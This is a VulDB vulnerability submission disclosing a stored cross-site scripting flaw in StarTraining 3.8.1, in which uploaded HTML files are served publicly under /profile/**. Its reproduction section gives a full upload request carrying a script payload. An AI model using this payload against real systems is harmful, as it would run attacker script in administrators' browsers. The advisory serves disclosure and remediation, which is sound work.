提出 #915512: zhistaredu StarTraining 3.8.1 Cross Site Scripting情報

タイトルzhistaredu StarTraining 3.8.1 Cross Site Scripting
説明StarTraining 3.8.1 — HTML upload allowed and /profile/** served anonymously (stored XSS) (ST-VULN-006) Product: StarTraining 3.8.1 CWE: CWE-434 / CWE-79 Classification: Cross Site Scripting === SUMMARY === `MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION` includes html/htm. Uploaded files are served under `/profile/**` with permitAll GET. === ROOT CAUSE === Dangerous upload extensions + public static resource mapping. === REPRODUCTION === POST /common/upload HTTP/1.1 Host: 127.0.0.1:8900 Authorization: USER_TOKEN Content-Type: multipart/form-data; boundary=----BOUNDARY Connection: close ------BOUNDARY Content-Disposition: form-data; name="file"; filename="poc.html" Content-Type: text/html <script>alert('ST-PoC')</script> ------BOUNDARY-- # Then open returned /profile/upload/.../poc.html without auth Expected: Upload returns profile URL; GET executes script in browser === IMPACT === Stored XSS against admins viewing uploaded resources. === FIX === Remove html from allowed extensions; require auth on /profile/**; enable XSS filter.
ソース⚠️ https://github.com/ArrestX/startraining-advisories/blob/main/advisories/ST-VULN-006-stored-html-upload-xss.md
ユーザー
 thmanhz (UID 100327)
送信2026年08月05日 02:20 (2 月 ago)
モデレーション2026年09月27日 05:38 (2 months later)
ステータス承諾済み
VulDBエントリ410810 [zhistaredu StarTraining 迄 3.8.1 Upload Endpoint MimeTypeUtils.java ファイル クロスサイトスクリプティング]
ポイント20

Might our Artificial Intelligence support you?

Check our Alexa App!